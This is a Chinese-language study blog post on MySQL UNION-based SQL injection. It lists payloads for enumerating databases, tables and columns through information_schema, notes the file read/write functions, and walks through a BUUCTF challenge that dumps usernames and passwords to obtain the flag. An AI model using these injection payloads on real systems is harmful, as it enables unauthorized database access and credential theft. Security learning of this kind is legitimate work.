网安学习Day8

前天写了对mozhe的简单sql注入的过程,总结一下相关的代码;附上一张MYSQL注入的总结图:

首先我们拿到这个网站的时候,通过order by 语句来判断字段数量,然后之后通过union联合查询,经过报错显示来查找回显点:

id=-1 union select 1,2,3

然后再回显点处查询数据库名,用户名;数据库版本以及操作系统等:

id=-1 union select 1,database(),user()    //数据库版本-version() 操作系统-@@version_complie_os

在查询出数据库名,用户名之后,根据数据库对应的版本信息,如果数据库版本大于5.0,则判定为高版本,通过information_schema库进行有据查询,低于5.0版本判定为低版本,可以根据暴力破解结合读取查询;接下来就是查询表和列信息:

id=-1 union select 1,table_name,3 from information_schema where table_schema='数据库名'
id=-1 union select 1,column_name,3,4 from information_schema.columns where table_name='表名'

之后便是在对应的列名中查询具体的信息:

id=-1 union select 1,username,password,4 from 列名

之后学习到高权限跨库查询:

在information_schema表中,根据它的特性,该表记录了所有的库名、表名、列名对应的表;进行跨库查询的操作的前提是:我们得到的权限必须是root权限,接下来我们便可以通过union联合查询,来查找所有的数据库名:

id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

之后便获取到了所有的数据库名,然后再指定的数据库名xxx下获取相应地表名:

id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='xxx'

此时在去获取xxx数据库下的admin表中的列名信息:

id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='xxx' and table_name='admin'

最后获取指定xxx下的admin数据:

id=-1 union select 1,username,password from xxx.admin

#文件读写操作

        读取函数:load_file()

        导出函数:into outfile 或者 into dumpfile

接下来在BUUctf中做到了一个题简单写一下巩固之前学习的

通过判断在password处存在字符型注入,经过order by判断出存在的字段数量为3
经过报错回显,得知回显点在2、3处


接下来就是爆数据库名和数据库的版本:

password' and 1=2 union select 1,database(),version()#

数据库:geek
版本:10.3.18-MariaDB
(这里得到了MariaDB ,该数据库版本是Mysql的一个分支,也就是说它属于Mysql)
接着我们来爆出用户名与操作系统

password' and 1=2 union select 1,user(),@@version_compile_os#

用户名:root@localhost
操作系统:Linux

然后我们查询指定geek数据库中的表

password' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'geek'#

便得到了两个表分别为:geekuser,l0ve1ysq1
之后就在l0ve1ysq1中查找对应的列名:

password' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'l0ve1ysq1'#

在这个表中我们得到 id,username,password

接下来就是直接查找username 以及password

然后查询l0ve1ysq1中的数据

password' and 1=2 union select 1,group_concat(username,0x3a,password),3 from l0ve1ysq1#
最终得到了flag

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值